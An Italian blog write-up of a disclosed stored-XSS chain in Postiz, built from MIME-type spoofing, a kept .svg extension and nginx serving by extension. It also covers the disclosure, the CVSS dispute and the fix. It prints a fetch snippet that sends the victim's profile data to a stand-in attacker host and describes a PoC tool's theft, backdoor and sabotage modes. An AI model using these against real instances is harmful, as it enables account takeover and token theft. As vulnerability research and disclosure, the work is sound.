Dopo l’OSWE ho iniziato ad apprezzare molto di più l’analisi white box. Quindi ogni tanto scelgo un progetto opensource che mi piace, analizzo il codice sorgente, cerco di capirne il funzionamento, e soffermandomi sulle funzioni più critiche mi chiedo: “e se qui non funzionasse come dovrebbe?”.

Oggi vi racconto come ho scoperto questa Arbitrary File Upload tramite MIME-type spoofing che ha consentito una Stored XSS in Postiz, un tool open-source di social media management con più di 600 istanze esposte su internet, che permette all’attaccante di agire come la vittima: rubare API key, esfiltrare i token di tutte le integrazioni social collegate (Instagram, X, LinkedIn, Facebook, TikTok e gli altri 23 provider), pubblicare e cancellare post a nome suo, creare backdoor OAuth persistenti che sopravvivono al cambio password.

Cos’è Postiz?

Postiz è un tool open-source per gestire social media: scheduling di post, analytics, team collaboration, integrazione con 28+ piattaforme. Ha un deployment Docker standard, un backend NestJS, un frontend React, e nginx come reverse proxy. Il tipo di progetto che un team di marketing installa, connette a tutti i propri account social, e poi dimentica di aggiornare.

Code review

Ho iniziato a farmi un’idea dell’architettura. Monorepo, NestJS sul backend, React sul frontend, nginx davanti a tutto. Il pattern è il classico Controller → Service → Repository, con una cartella libraries/ che contiene i servizi condivisi. Ho dato una prima passata ai controller per capire la superficie di attacco: autenticazione, gestione utenti, integrazioni OAuth con i provider social, API pubblica. Poi ho guardato come viene gestita l’autorizzazione, come vengono firmati i JWT, come sono configurati i cookie di sessione.

Quando sono arrivato alle funzionalità di upload mi sono fermato. In un’applicazione web, l’upload di file è il confine dove il contenuto controllato dall’utente entra nel server. Se quel confine non è ben presidiato, le conseguenze sono quasi sempre gravi. E qui il confine era presidiato MALE.

Ho tracciato il flusso completo: dal controller all’endpoint, passando per la validazione, il salvataggio su disco e il serving al browser. Alla fine ho trovato tre componenti che messi insieme creano una bella catena d’attacco ad alto impatto.

Flaw 1: validazione lato client

libraries/nestjs-libraries/src/upload/custom.upload.validation.ts (versione vulnerabile <= 2.21.5):

const validation =
  (value.mimetype.startsWith('image/') || // riga 24
    value.mimetype.startsWith('video/mp4')) && // riga 25
  value.size <= maxSize; // riga 26

Il caso interessante è il ramo principale: alle righe 24-25 il check controlla solo che value.mimetype inizi con image/ o sia video/mp4. Il problema è che value.mimetype è il valore dell’header Content-Type fornito dal client nella multipart request, non il risultato di un’ispezione del contenuto. È un campo che l’attaccante controlla completamente.

Nessuna verifica dei magic bytes, nessun uso di librerie come file-type per ispezionare il contenuto reale. Se mando un file SVG con JavaScript dentro e dichiaro Content-Type: image/png, la condizione "image/png".startsWith("image/") è true, il check alla riga 26 verifica solo che la dimensione sia sotto il limite, e il file viene accettato senza obiezioni.

Questa in gergo tecnico sarebbe una CWE-345: Insufficient Verification of Data Authenticity. Il server tratta un dato fornito dall’attaccante come se fosse sicuro, senza fare verifiche.

Flaw 2: estensione del file preservata sul disco

libraries/nestjs-libraries/src/upload/local.storage.ts:

async uploadFile(file: Express.Multer.File): Promise<any> {
    // ...
    const randomName = Array(32) // riga 51
      .fill(null)
      .map(() => Math.round(Math.random() * 16).toString(16))
      .join('');

    const filePath = `${dir}/${randomName}${extname(file.originalname)}`; // riga 56
    // ...
    writeFileSync(filePath, file.buffer); // riga 62
    // ...
    return { // riga 64
      filename: `${randomName}${extname(file.originalname)}`,
      path: process.env.FRONTEND_URL + '/uploads' + publicPath,
      mimetype: file.mimetype,
      originalname: file.originalname,
    };
}

Alla riga 51 viene generato un nome casuale esadecimale di 32 caratteri. Fin qui niente di anomalo. Il problema è alla riga 56: extname(file.originalname) estrae l’estensione dal nome del file fornito dal client. Se il client invia filename=payload.svg, extname() restituisce .svg, e il path finale diventa qualcosa come /uploads/2026/04/15/a7f3c2e9...svg. Alla riga 62 il contenuto viene scritto su disco così com’è, senza nessuna sanitizzazione.

Nessun controllo di coerenza tra il MIME type dichiarato (image/png) e l’estensione del file (.svg). Lo stesso vale per .html, .xhtml, .js, o qualsiasi altra estensione: il server accetta tutto senza fiatare. Questo comporta una CWE-434: Unrestricted Upload of File with Dangerous Type.

Il dettaglio che chiude il cerchio è alle righe 64-68: il server restituisce nella risposta JSON il campo path, che contiene l’URL pubblico completo del file appena caricato (es. http://target:5000/uploads/2026/04/15/a7f3c2e9...svg). Il nome è randomico, ma non importa: il server lo consegna direttamente all’attaccante. Basta leggere la risposta per avere l’URL pronto da inviare alla vittima.

La scelta di usare un SVG non è casuale. Un file .html funzionerebbe altrettanto bene per eseguire JavaScript, ma un SVG ha un vantaggio sociale: è un formato immagine. Un link che finisce in .svg non insospettisce nessuno, sembra un’immagine vettoriale, magari un logo o un’icona. Eppure il formato SVG supporta nativamente il tag <script>, e i browser lo eseguono senza battere ciglio quando il Content-Type è image/svg+xml.

Flaw 3: nginx serve con il Content-Type derivato dall’estensione

http {
    include       /etc/nginx/mime.types; # riga 9
    default_type  application/octet-stream; # riga 10

    server {
        listen 5000; # riga 14

        location /uploads/ { # riga 36
            alias /uploads/; # riga 37
        }
    }
}

A riga 9, nginx carica la tabella standard mime.types che mappa le estensioni ai Content-Type. A riga 36-37 la configurazione serve i file della directory /uploads/ direttamente come file statici, senza nessuna trasformazione. Quando il browser richiede /uploads/.../a7f3c2e9.svg, nginx guarda l’estensione .svg, consulta la tabella mime.types, e risponde con Content-Type: image/svg+xml.

Ecco cosa succede per le estensioni pericolose:

  • .svgimage/svg+xml (il browser renderizza l’SVG ed esegue il JavaScript al suo interno)
  • .htmltext/html (il browser interpreta il file come pagina web)
  • .xhtmlapplication/xhtml+xml (stessa cosa)

Nessun header Content-Security-Policy per bloccare gli script inline. Nessun X-Content-Type-Options: nosniff per impedire al browser di interpretare il contenuto. Nessun Content-Disposition: attachment per forzare il download. Il browser riceve il file, vede il Content-Type e lo renderizza fedelmente.

Unendo i pezzi

Il client dice: "questo è image/png" (bugia)
  → Validazione: "ok, inizia con image/, passa"
    → Storage: salva come randomhex.svg (estensione originale)
      → Nginx: serve con Content-Type: image/svg+xml
        → Browser: renderizza SVG, esegue <script>

La parte divertente: session riding

A questo punto molti direbbero: “ok, è un XSS, rubi il cookie e fai login come la vittima”. Ma Postiz imposta il cookie auth come HttpOnly, quindi JavaScript non può leggerlo con document.cookie. Fine della storia? No. Inizio della parte interessante.

Il file SVG malevolo viene servito da dentro l’origine dell’applicazione (https://postiz.example.com/uploads/...). Questo significa che il JavaScript nel payload è same-origin con l’applicazione stessa. E fetch() con credentials: "include" inserisce automaticamente il cookie a ogni richiesta:

// Il browser inserisce il cookie HttpOnly automaticamente
fetch("/api/user/self", { credentials: "include" })
  .then(r => r.json())
  .then(data => {
    // Ora ho il profilo della vittima, le sue API key, i token delle integrazioni social, ecc.
    fetch("http://attacker.evil/loot", {
      method: "POST",
      body: JSON.stringify(data)
    });
  });

Il cookie HttpOnly protegge dall’esfiltrazione diretta del token, ma non protegge affatto da un attaccante che opera dall’interno dell’origine. Il browser non distingue tra “JavaScript legittimo dell’applicazione” e “JavaScript iniettato dall’attaccante servito dallo stesso dominio”. Per lui è tutto same-origin.

Questo rende l’XSS funzionalmente equivalente al full session takeover. L’attaccante può fare qualsiasi cosa che la vittima può fare: leggere, scrivere, cancellare.

Exploit PoC

Dopo aver verificato la vulnerabilità, ho scritto una PoC completa per dimostrare l’impatto reale. Non mi piacciono i PoC che mostrano un alert(1) e dichiarano vittoria, quello dimostra che puoi eseguire JavaScript, non cosa un attaccante farebbe realmente sfruttando quella vulnerabilità.

Il tool è un singolo script Python che automatizza l’intera catena: autenticazione/registrazione, generazione del payload JavaScript, arbitrary file upload con MIME spoofato, e un server di esfiltrazione integrato che riceve i dati rubati in tempo reale.

Chain d’attacco

Attaccante                    Server Postiz              Vittima
    |                              |                        |
    |-- 1. Login/Register -------->|                        |
    |-- 2. Upload SVG malevolo --->|                        |
    |<---- URL del file -----------|                        |
    |-- 3. Invia URL alla vittima ------------------------->|
    |                              |<--- 4. Apre la URL --- |
    |                              |--- SVG con JS -------->|
    |<-------------- 5. Esegue JS e invia dati -------------|

Il tool supporta 5 categorie di attacco:

Esfiltrazione. 18 modalità dump-* che rubano tutto: profilo, API key, integrazioni social (token inclusi), post schedulati, team, media, notifiche, configurazioni webhook, app OAuth, thread del copilot AI, billing, impostazioni. full-dump fa tutto in un singolo payload.

Privilege escalation. add-admin invita l’attaccante come ADMIN nell’organizzazione della vittima. rotate-key ruota la API key e esfiltra quella nuova. rotate-oauth fa lo stesso con il secret dell’app OAuth.

Sabotage. kill-notifications disabilita le notifiche email, così la vittima non si accorge delle modifiche. wipe-* cancella firme, webhook, tag, set, regole di autopost. logout-victim invalida la sessione. edit-profile modifica nome e bio.

Backdoor. create-oauth-app è il mio preferito. Il JavaScript della vittima crea un’app OAuth nell’organizzazione, la auto-approva e invia il codice di autorizzazione al listener dell’attaccante. Il tool scambia automaticamente il codice per un token pos_* persistente, che non scade mai e funziona anche se la vittima cambia password. Con un token pos_*, l’attaccante può ri-eseguire il tool con --token per uploadare nuovi payload senza avere un account sulla piattaforma. L’altro attacco in questa categoria è steal-cookie, che ruba il JWT direttamente da document.cookie quando NOT_SECURED è attivo.

Custom. api-call esegue qualsiasi chiamata API autenticata arbitraria. custom esegue JavaScript arbitrario.

Responsible Disclosure

Ho riportato la vulnerabilità tramite GitHub Security Advisory, includendo la descrizione tecnica completa, il PoC con i curl command e gli screenshot dell’exploit.

La prima risposta dei dev è stata ragionevole: hanno chiesto chiarimenti sugli scenari di attacco reali. La domanda implicita era “perché un utente dovrebbe visitare quell’URL?”

Ho risposto con tre scenari concreti:

  1. Link sharing diretto. Postiz è un tool di team. Gli utenti condividono link naturalmente via Slack, email, chat interna. Un URL come https://postiz.example.com/uploads/2026/04/10/abc123.svg sembra un’immagine perfettamente normale hostata dalla piattaforma. La vittima non ha motivo di diffidare.

  2. Embedding in pagina esterna. L’URL può essere incluso come <img> tag in qualsiasi pagina web. Quando il browser carica l’SVG, il JavaScript viene eseguito nell’origine di Postiz. Nessun click aggiuntivo necessario.

  3. Condivisione via social. Postiz gestisce account social. I team condividono costantemente link per review. “Ehi, puoi controllare questa immagine?” è una richiesta del tutto normale in quel workflow.

Ho incluso anche i dati Shodan: 679 istanze esposte, favicon hash 724985511, distribuzione in 30+ paesi. Non per intimidire, ma per contestualizzare: non è un’applicazione usata da milioni di persone, ma neanche da quattro gatti.

Disputa sul CVSS

Il punteggio iniziale assegnato dai maintainer sottostimava l’impatto. Confidentiality Low, Integrity None. Ho contestato con dati concreti:

  • Confidentiality High: l’attaccante ha read access a tutto. Profilo, API key, token delle integrazioni social, post, team. Non è “limited data leakage”, è l’intero account.
  • Integrity High: l’attaccante può invitare admin, ruotare API key, modificare post, cancellare integrazioni. Azioni di scrittura reali, verificate end-to-end.
  • Availability High: l’attaccante può rimuovere membri del team, cancellare canali, disabilitare notifiche. Disruption concreta del servizio.

Alla fine i dev hanno compreso benissimo e hanno accettato la severity finale: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H, 8.9 High.

Remediation

La versione 2.21.6 ha introdotto una fix corretta. Tre cambiamenti chiave:

  1. Magic byte validation. file-type ispeziona il contenuto reale del file, non il Content-Type del client. Un SVG con Content-Type: image/png viene riconosciuto come SVG, non come PNG.

  2. Allowlist esplicita. Sono ammessi solo MIME type specifici e sicuri. Niente image/* catch-all che ammette image/svg+xml.

  3. Override dell’estensione. Il file viene rinominato con l’estensione corrispondente al tipo reale. Anche se il client dice payload.svg, su disco finisce come upload.png (se il contenuto è davvero PNG) oppure viene rifiutato.

In linea di massima la miglior difesa in questi casi è: non fidarsi mai del client per determinare il tipo di file. Il contenuto determina il tipo, non gli header HTTP.

Lezione imparata

Per i developer:

  • Il Content-Type di una multipart upload è controllato dal client. Va trattato come input non fidato.
  • Usare magic byte detection (file-type in Node.js, python-magic in Python, Marcel in Ruby) per determinare il tipo reale.
  • Se servite file uploadati dallo stesso dominio dell’app, state servendo potenziale codice nel contesto della vostra applicazione. Valutate un dominio separato per gli upload, o quantomeno Content-Security-Policy: script-src 'none' e Content-Disposition: attachment sulle risposte.
  • HttpOnly sui cookie è necessario ma non sufficiente. Non protegge da same-origin XSS: protegge solo dall’esfiltrazione diretta del token.

Per chi fa security review:

  • Tracciare il flusso completo end-to-end: dal punto di ingresso (upload), al processing (validazione), allo storage (filesystem), al serving (nginx/CDN). La vulnerabilità è nella catena, non in un singolo componente.
  • Non fermarsi all’alert(1). Dimostrare l’impatto reale con PoC che fanno quello che un attaccante farebbe: rubare dati, scalare privilegi, creare persistenza.
  • Giustificare i CVSS con prove concrete.

Riferimenti